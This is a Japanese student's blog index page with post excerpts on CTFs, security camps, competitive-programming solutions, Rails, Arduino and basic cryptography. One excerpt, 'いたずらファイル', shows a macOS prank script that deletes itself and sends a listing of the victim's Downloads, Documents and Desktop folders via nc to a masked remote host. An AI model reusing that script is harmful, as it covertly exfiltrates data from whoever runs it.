つけじょにーのすぱげていコード

主に、競技プログラミング、セキュリティのお勉強の際に書いたすぱげていコードを書き込みます

SECCON大阪参加記

10/2にSECCON大阪に行ってきました。 バイナリおいしいというチーム名で参加させていただいて、僕は何も貢献できていなかったのですが、優勝しました。 当日までの準備 SECCON大阪のコンセプト、どうもangrで自動化っぽいんだよなぁと思っていたので、angrで…

セキュリティキャンプ全国大会 2016 参加記

8/9 ~ 8/13に行われたセキュリティキャンプ2016に参加してきました。 思い出しながら、書いていこうと思います。講義の内容は各々異なります。 僕が受講した講義は以下のとおり - 1-A HTTPプロキシ発展 2-B 謎マシンでNetBSDのクロス開発体験 3-A Webアプリ…

セキュキャンの応募用紙

この間、セキュリティキャンプに応募したのですが、なんとか選考を通過することができました! 私は今年22歳になったばかりで、これがラストチャンスだったのですが、なんとか拾ってもらえて本当に良かった・・・ 今年のキャンプに参加される方々の中でも知…

mixi のgit-challengeに行ってきたよ

本日、mixiさんの第2回 git-challengeに参加してきました。 プロの方々がたくさん来るんだろうなぁとブルブル震えながら行きました。 まず、gitについての説明をいただきました。 もう、ビュンビュン進んでいきます gitは知ってる前提ということで、基本操…

SECCON2015予選に参加してみた話

CTF

今回、チームsosuncer(そすんさー)で参加してきました。 チーム全体では900Pを稼ぎ、213位でした。私はほとんど役に立てませんでした。じゃあ、お前は何をやったんだということなんですが、 解けたのは2問 1. Connect the server 2. Last challenge(Thank…

さくらインターネットのDCにお邪魔させていただいたお話(写真は後ほど)

先週の土日、さくらインターネットのデータセンターにお邪魔させていただきました。 移動は主にバスで、何かを発見した女の子が外装に描かれていました。データセンターでは、普段見られない低レイヤーな世界を覗けました。 見学していて思ったのですが、物…

Trend Micro CTF 2015 に参加した

CTF

チームsendyで、TMCTFに参加しました。 相も変わらず解ける問題が少なくて人権の無い日々が続きます結局、僕が解けたのはProgramming 200だけです。 とりあえず、解けた問題について書いてみます。まず、どんな問題なのか。 netcatで接続すると、計算問題が…

TDU CTF 2015に参加してきた

CTF

どうも、CTF初心者が通ります。 本日、TDUCTF 2015に参加してきました! 最初は補欠だったのですが、枠が増えたことにより、繰り上がらせてもらえました(歓喜) なかなか問題が解けなくて、サービスをいただいたおかげで解けた問題が大半を占めているのです…

Watashi wa tottemo katagaitai!!

CTF

本日、秋葉原UDXで肩を痛くしてまいりました。 ついでに自分のバイナリ力の無さに胸を痛くもしましたが・・・(オイオイWrite-upとまではいきませんが、紹介されたgdb-pedaのインストールに躓いたのでメモ。 使用環境がUbuntu 14.04であり、gdbがすでにインスト…

セキュキャンに応募しました

CTF

もうすでに応募してから4日経ちましたが、応募報告です。 提出した後で、GithubのMyMapWithAPIのAPIキーについて、readme作成するの忘れてしまった!!!ってなってげんなりしてます。今年からCTFを友人と始めたので、セキュキャンを知ったのは今年始まって…

CSRF(CrossSite Request Forgery)

CSRFを行うスクリプトを PHPで作成してみました。 実際のものを攻撃できないので、掲示板を即席で作成したのですが、利用者フォームもない不親切な掲示板です(あくまでCSRFの動作が確認できることを目的とした)。掲示板プログラム <html> <head> <title>掲示板</title> </head> <body> <h1>投稿一覧</h1> </body></html>

ksnctf Digest is secure!

CTF

ダイジェスト認証の問題。 かなり勉強になった(ダイジェスト認証についてのみ) Authorizedヘッダに書かれている値をこねくり回して解くんだけど、単純なやり方ではダメ。 responseの作り方は以下を参照してもらえばわかると思うDigest認証 | Wikiwandwww.w…

@tukejonnyBot 仕様変更のお知らせ

今までリツイートを行ってきましたが、友人から要望があったため以後ファボるように実装しました。 以降はTLでなく、Favoriteをご確認いただくことになります。 お手数かけますが、今後ともtukejonny、tukejonnyBotをよろしくお願い致します。また、天気情報…

Twitterのボットを作成しました

PHPスクリプトでボットを作成しました。 @tukejonnyBotで探していただければ見つかると思います。 基本的には1時間ごとに、・私が指定したキーワードに引っかかった、IT関連のツイートを最大5件リツイート (キーワードは、いくつもある中からランダムに2…

いたずらファイル 第2弾

こんどはC言語で作成して、gccでコンパイルするという形式にしてみました。 前回、いたずらファイルの権限が問題になり、成功に至りませんでしたが、今度こそはいけそうな気がします。お前は他にやることがないのか?と訊かれそうですが、これで結構楽しんで…

パイプのやり取り

C++で、パイプを用いて擬似クライアント-サーバー間通信をしてみました 今後、ネットワーク関連の記事を増やしていこうと考えています。 #include <sys/types.h> #include <unistd.h> #include <bits/stdc++.h> using namespace std; void exec() { pid_t pid; //プロセスID string buf = ""; //バ</bits/stdc++.h></unistd.h></sys/types.h>…

AOJ 0103: BaseBall Simulation

ホームランの時、塁上の走者の数+1というのを見逃していた 野球はわからん・・・(泣) というか、switch文を使わないで関数内でif文書いたほうが普通に処理数減るな 何やってんだか俺・・・ //0103 //題意:ヒット、ホームラン、アウトのイベントを入力して…

AOJ 0101: Aizu PR

こっちの方が楽だった・・・ //0101 //題意:Hoshino->Hoshina //入力:n(データ数) // 文字列1 //・・・ //制約:文字列は1000文字以下 //出力:変換後文字列 //解決策: //タイム:00:08:18 #include <bits/stdc++.h> using namespace std; void convert(string& target,</bits/stdc++.h>…

AOJ 0100: Sale Result

[苦手問題] 疲れてんのかな・・・? mapで実装して通らなかったので、普通に配列で再実装したのだけれど、通らなかった 以前正解してるのもあってむちゃくちゃ悔しい てか、この問題はイラついた //0100 //題意:社員の、(販売単価)と(売り上げ数量)を記…

rails g でタイポしてしまった時

RoRで、間違ってrails gした事ありませんか? そんなときは rails destroy [コントローラやモデル名等]で消してくれます! ちなみに、rails gみたいにrails dってやってもダメですよ

loggerの話

RoRでデバッグする際、loggerさんがとっても役に立ちます logger.debug("デバッグ")という具合に書けば、サーバーにロギングされ、デバッグの時にとっても役立ちますこれと組み併せて、 @object.inspect #オブジェクトの中身を表示 request.body.read #リク…

AOJ 0087: Strange Mathematical Expression

stoi,stodなんてあったんだ・・・便利だなぁ と思ったのも束の間 submitしたらCompile Error Runtime Errorの嵐 どうも、g++でコンパイルできないのが原因な様 //0087 //題意:逆ポーランド記法を読み込み、計算結果を出力せよ //入力:文字列が1行に与えら…

ファインダーメソッド

初、Railsに関する投稿です。 ですが、残念ながらくっだらない内容です複数図書館の管理システムを開発しているのですが、 Railsで会員の所属図書館が表示できないという問題が起きまして、うんうん唸っていました というのも、とあるビューで <%= Library.w…

Arduino&Processing楽器作成3 書き換えてみた

まとめも兼ねて、主にProcessingのコードを書き換えました。 コメントも付け加え、少しわかりやすくなったかなと思います。・Arduino近辺の写真 ・Arduino(変更なし) void setup() { Serial.begin(19200); } void loop() { String cdsVal = String(analogRe…

AOJ 0076: Treasure HunterⅡ

[苦手問題] 自虐したくなるくらい頭働かなくて、泣きそうです 結局解くにいたりませんでしたが、以前Acceptコードを求められなかったので、今回復習も兼ねて調べ、求めました 今回は距離が1なので、単位法線ベクトル*1の距離分だけ進めばいいことになります…

ポート番号対応付け表

/etc/servicesを覗くと、以下の具合にポート番号の対応付けを見ることができます (*'-') < cat /etc/services | head -1000 # # Network services, Internet style # # ・ ・ ・ # # WELL KNOWN PORT NUMBERS # ここからポート番号情報あ、当然ですが俺のは…

gitコマンド まとめ

ちょこちょこ使うんですが、なかなか忘れてしまうのでメモ・リポジトリをとってくる git clone https://github.com/[ユーザ名]/[リポジトリ名]・リポジトリを追加 git add [ファイル名] ・リポジトリを削除 git rm [ファイル名] ・リポジトリの状況を確認 gi…

curlコマンド

またまた、まとめ・ページ丸ごと取得 curl http://www.yahoo.co.jp・それを丸ごと保存(名前指定) curl -o sample.txt http://www.yahoo.co.jp・それを丸ごと保存(デフォルト名) curl -O sample.txt http://www.yahoo.co.jp・POST送信 curl -d name=admin -d …

Arduino&Processingのシリアル通信による、楽器作成 Part2

さて、第2弾です 今度は、「可変抵抗」を用いてチューニングし、音を出すというものにしました さて、今回は中々苦戦しました。 というのも、シリアル通信の際、Processingで値を読み取り、切り分けるとなぜかcdsの値と可変抵抗の値が逆になってしまうので…

簡単なオセロ

ざーっと書いて、まだテストもろくにしてないので、バグだらけだと思います 一応アップしておきます //簡単なオセロ(プレイヤーが、正確に石を置く想定) #include <bits/stdc++.h> #define MAX_W 8 #define MAX_H 8 using namespace std; string board[MAX_W]; //盤面 e...e</bits/stdc++.h>…

Arduino&Processingのシリアル通信による、楽器作成

競技プログラミングやセキュリティとは異なりますが・・・ 授業でやったのでメモ書き・Arduino void setup() { Serial.begin(19200); } void loop() { int val = analogRead(0); Serial.println(val); delay(250); } ・Processing import processing.serial.…

書庫作りコマンド

tarコマンドについてメモ書き //必須(どちらか) //c = create(書庫作成) //x = extract(書庫抽出) //t = test(書庫表示:lsコマンドみたいな感じで表示) //オプション //z = gzip(gzip形式の場合、圧縮及び解凍にgzipを用いる) //v = verbose(作成、抽出時に…

いたずらファイル

CTF

example.command #!/bin/bash cd Desktop; echo "hacked this computer!" | cat > hack.txt; mydir=$(dirname $0); cd $mydir; srm -mz example.command; cd; ls Downloads Documents Desktop | nc xxx.xxx.xxx.xxx 8000;対MacOSX用なのですが、実行されると…

msfconsoleについて

CTF

毎回やり方わすれるので、ここにメモ書きしておこうかなとmsfconsoleはGUIではないので、GUIを使いたい場合はArmitageというのがあるらしいです > msfconsole msf > help //ヘルプ表示 msf > search [ターゲット] //ターゲットのモジュール検索 msf > use [e…

シンボリックリンクについて

CTF

自分にとって今の所使う機会が少なく、久しぶりに使うと毎回同じミスをしてしまうのですが、ファイルを作ってからリンクさせる のではなく リンクファイルを作成するコマンドですなので、touchやvimなど使う必要はなく、lnコマンドの引数にちゃんと対象ファ…

AES(Advanced Encryption Standard)

AESというのはDESに代わって新しく定められた共通鍵暗号標準です厳しい審査の元、多くの暗号化アルゴリズムから5つが選び抜かれました MARS, RC6, Rijndael, Serpent, Twofishこの中でもっとも優秀であったのはRijndaelで、晴れてAESに選定されました このR…

使い捨てパッド

簡単にいうとXORを使ったランダムビット列との暗号化、かつ鍵は毎回変更、です。なんとびっくり ゼッタイに解読できません。理由は、解読文の正当性を証明できないからです。

XORの性質

XOR (排他的論理和)は面白い性質を持っているんです。 具体的になんだというと、例えば平文123があるとします。 int plain = 123; これに対し、12という鍵を使って暗号化(XOR)します int key = 12; int cipher = plain ^ key; そして、再度同じ鍵を使って複…

エニグマ

エニグマはドイツで開発された暗号化及び複合化を行う機械のことをいう 機械含め、暗号化及び複合化に用いられるものは以下のとおり・国防軍鍵表(日替わり鍵) ・エニグマ(電源、キー、プラグボード、ローター1、ローター2、ローター3、反射器、ランプ)…

単一換字暗号

シーザー暗号とちょっと似てますが、文字の対応付けをして、それに基づいて暗号化を行うというものです。暗号化を行うプログラムを書いてみました。(難しいのは書けないっす(T_T)) //単一換字暗号 #include <bits/stdc++.h> using namespace std; char table[] = {'K', </bits/stdc++.h>…

UNIXコマンド:testコマンド

条件式を書くときなどに利用するらしい test valueA -option valueB といった形式 よく使いそうなオプションについて説明する (括弧内の英語は、私個人の推測) -eq (equal) -ne(not equal) -gt(greater than) -ge(greater than & equal) -lt(less than) -l…

RSA@C++

試しにRSA暗号化及び複合化を行うプログラムを作成してみました(すっごいチープ。平文は整数値じゃなきゃだめ)。 試しに平文123にしてみて、暗号化、複合化をしてみたのですが、思ったように複合できませんでした う〜ん、p, qを選ぶところがまずいのかな…

readコマンド

% while read line; do; echo $line; done < random.txt readコマンドは標準入力から入力を受け付け、受け付けた値を変数に入れるみたいですが、こんな事もできます。 こうすることで1行1行読む事が出来るんですね。 ちなみに、使った後にunset line;とす…

初めまして!

初めまして、tukeJonnyです。 大学でプログラミングを専攻しているので(実力はまだ全然ありませんが・・・)、その過程で、ブログに書こう!と思った事を主に買いていこうと思っています。